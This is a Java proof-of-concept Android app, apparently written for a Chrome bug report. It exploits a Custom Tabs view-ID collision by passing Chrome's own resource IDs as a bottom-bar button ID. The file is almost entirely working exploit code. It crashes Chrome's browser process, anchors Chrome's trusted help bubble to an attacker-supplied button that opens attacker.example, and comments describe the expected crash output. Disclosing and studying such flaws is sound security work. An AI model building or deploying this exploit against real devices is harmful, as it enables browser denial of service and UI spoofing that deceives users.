// POC: CCT bottom-bar CustomButtonParams view-ID collision
//
// Any installed Android app (no permissions required) can supply a
// CustomTabsIntent.EXTRA_TOOLBAR_ITEMS bundle whose KEY_ID is one of Chrome's
// own R.id.* values. CustomButtonParamsImpl.buildBottomBarButton() calls
// setId(mId) on an ImageButton that is added under R.id.bottombar (coordinator
// child index 6), which precedes control_container_stub (child index 13) in
// depth-first findViewById order. The sibling RemoteViews path strips IDs via
// transformViewIds() (crbug.com/40679846) but this path was missed.
//
// This activity demonstrates two payloads selectable via the spinner:
//   1. R.id.toolbar  -> immediate browser-process ClassCastException in
//      BaseCustomTabRootUiCoordinator.initializeToolbar() (line ~441/488).
//   2. R.id.custom_tabs_minimize_button -> Chrome's trusted IPH TextBubble +
//      pulse highlight is anchored to the attacker's button after first
//      onPageLoadFinished (MinimizedCustomTabIphController.java:86).
//
// Build as a trivial single-Activity app and install alongside Chrome.

package com.example.cctidcollision;

import android.app.Activity;
import android.app.PendingIntent;
import android.content.Intent;
import android.content.pm.PackageManager;
import android.content.res.Resources;
import android.graphics.Bitmap;
import android.graphics.Canvas;
import android.graphics.Color;
import android.graphics.Paint;
import android.net.Uri;
import android.os.Bundle;
import android.util.Log;
import android.widget.ArrayAdapter;
import android.widget.Button;
import android.widget.LinearLayout;
import android.widget.Spinner;
import android.widget.Toast;

import java.util.ArrayList;

public class PocActivity extends Activity {
    private static final String TAG = "CctIdCollisionPoc";

    // Chrome package candidates (stable / beta / dev / canary / chromium).
    private static final String[] CHROME_PACKAGES = {
        "com.android.chrome",
        "com.chrome.beta",
        "com.chrome.dev",
        "com.chrome.canary",
        "org.chromium.chrome",
    };

    // androidx.browser.customtabs.CustomTabsIntent constants (inlined so this
    // POC has zero dependencies beyond the framework).
    private static final String EXTRA_SESSION =
            "android.support.customtabs.extra.SESSION";
    private static final String EXTRA_TOOLBAR_ITEMS =
            "android.support.customtabs.extra.TOOLBAR_ITEMS";
    private static final String KEY_ID =
            "android.support.customtabs.customaction.ID";
    private static final String KEY_ICON =
            "android.support.customtabs.customaction.ICON";
    private static final String KEY_DESCRIPTION =
            "android.support.customtabs.customaction.DESCRIPTION";
    private static final String KEY_PENDING_INTENT =
            "android.support.customtabs.customaction.PENDING_INTENT";

    // Chrome resource-ID names to collide with. The actual int is resolved at
    // runtime from Chrome's APK so it always matches the installed build.
    private static final String[] TARGETS = {
        "toolbar",                      // -> ClassCastException (browser DoS)
        "custom_tabs_minimize_button",  // -> trusted IPH bubble on attacker btn
        "menu_button_wrapper",          // -> History IPH on attacker btn
        "url_bar",                      // -> CompositorViewHolder focus confusion
        "control_container",            // -> ClassCastException
    };

    private Spinner mSpinner;

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);

        LinearLayout root = new LinearLayout(this);
        root.setOrientation(LinearLayout.VERTICAL);
        root.setPadding(48, 48, 48, 48);

        mSpinner = new Spinner(this);
        mSpinner.setAdapter(new ArrayAdapter<>(
                this, android.R.layout.simple_spinner_dropdown_item, TARGETS));
        root.addView(mSpinner);

        Button go = new Button(this);
        go.setText("Launch CCT with colliding KEY_ID");
        go.setOnClickListener(v -> launch(TARGETS[mSpinner.getSelectedItemPosition()]));
        root.addView(go);

        setContentView(root);
    }

    private void launch(String targetIdName) {
        String chromePkg = findChrome();
        if (chromePkg == null) {
            Toast.makeText(this, "Chrome not installed", Toast.LENGTH_LONG).show();
            return;
        }

        int targetId = resolveChromeId(chromePkg, targetIdName);
        if (targetId == 0) {
            Toast.makeText(this,
                    "R.id." + targetIdName + " not found in " + chromePkg,
                    Toast.LENGTH_LONG).show();
            return;
        }
        Log.i(TAG, "Resolved " + chromePkg + ":id/" + targetIdName
                + " = 0x" + Integer.toHexString(targetId));

        // Build the malicious bottom-bar button bundle.
        // KEY_ID == Chrome's own resource ID -> CustomButtonParamsImpl.fromBundle()
        // stores it unchecked, buildBottomBarButton() calls setId(targetId).
        Bundle btn = new Bundle();
        btn.putInt(KEY_ID, targetId);
        btn.putParcelable(KEY_ICON, makeIcon());
        btn.putString(KEY_DESCRIPTION, "poc");  // must be non-empty
        // PendingIntent is optional for bottom-bar buttons (no SHOW_ON_TOOLBAR),
        // but supplying one demonstrates that the IPH-highlighted button fires
        // an attacker-chosen intent on tap.
        btn.putParcelable(KEY_PENDING_INTENT, PendingIntent.getActivity(
                this, 0,
                new Intent(Intent.ACTION_VIEW, Uri.parse("https://attacker.example/")),
                PendingIntent.FLAG_IMMUTABLE));
        // Do NOT set KEY_SHOW_ON_TOOLBAR -> showOnToolbar()==false -> goes to
        // mBottombarButtons -> CustomTabBottomBarDelegate.showBottomBarIfNecessary()
        // path that lacks transformViewIds().

        ArrayList<Bundle> toolbarItems = new ArrayList<>();
        toolbarItems.add(btn);

        Intent intent = new Intent(Intent.ACTION_VIEW, Uri.parse("https://example.com/"));
        intent.setPackage(chromePkg);
        // Null EXTRA_SESSION marks this as a CustomTabs intent so it routes to
        // CustomTabActivity rather than ChromeLauncherActivity's tabbed mode.
        Bundle session = new Bundle();
        session.putBinder(EXTRA_SESSION, null);
        intent.putExtras(session);
        intent.putParcelableArrayListExtra(EXTRA_TOOLBAR_ITEMS, toolbarItems);
        intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);

        Log.i(TAG, "Launching CCT, target=R.id." + targetIdName);
        startActivity(intent);

        // Expected outcomes (watch `adb logcat`):
        //  - target == "toolbar" / "control_container":
        //      java.lang.ClassCastException: android.widget.ImageButton cannot
        //      be cast to org.chromium.chrome.browser.customtabs.features
        //      .toolbar.CustomTabToolbar
        //        at ...BaseCustomTabRootUiCoordinator.initializeToolbar
        //  - target == "custom_tabs_minimize_button":
        //      After page load, Chrome's "Tap to minimize" TextBubble + pulse
        //      highlight render around the attacker's bottom-bar ImageButton.
        //  - target == "url_bar":
        //      CompositorViewHolder.mUrlBar points at attacker's ImageButton;
        //      omnibox focus arbitration silently broken (no crash).
    }

    private String findChrome() {
        PackageManager pm = getPackageManager();
        for (String pkg : CHROME_PACKAGES) {
            try {
                pm.getPackageInfo(pkg, 0);
                return pkg;
            } catch (PackageManager.NameNotFoundException ignored) { }
        }
        return null;
    }

    /** Resolve one of Chrome's R.id.* constants at runtime from its APK. */
    private int resolveChromeId(String chromePkg, String name) {
        try {
            Resources r = getPackageManager().getResourcesForApplication(chromePkg);
            return r.getIdentifier(name, "id", chromePkg);
        } catch (PackageManager.NameNotFoundException e) {
            return 0;
        }
    }

    /** Small valid bitmap so parseBitmapFromBundle() succeeds. */
    private Bitmap makeIcon() {
        Bitmap b = Bitmap.createBitmap(48, 48, Bitmap.Config.ARGB_8888);
        Canvas c = new Canvas(b);
        Paint p = new Paint(Paint.ANTI_ALIAS_FLAG);
        p.setColor(Color.RED);
        c.drawCircle(24, 24, 20, p);
        return b;
    }
}
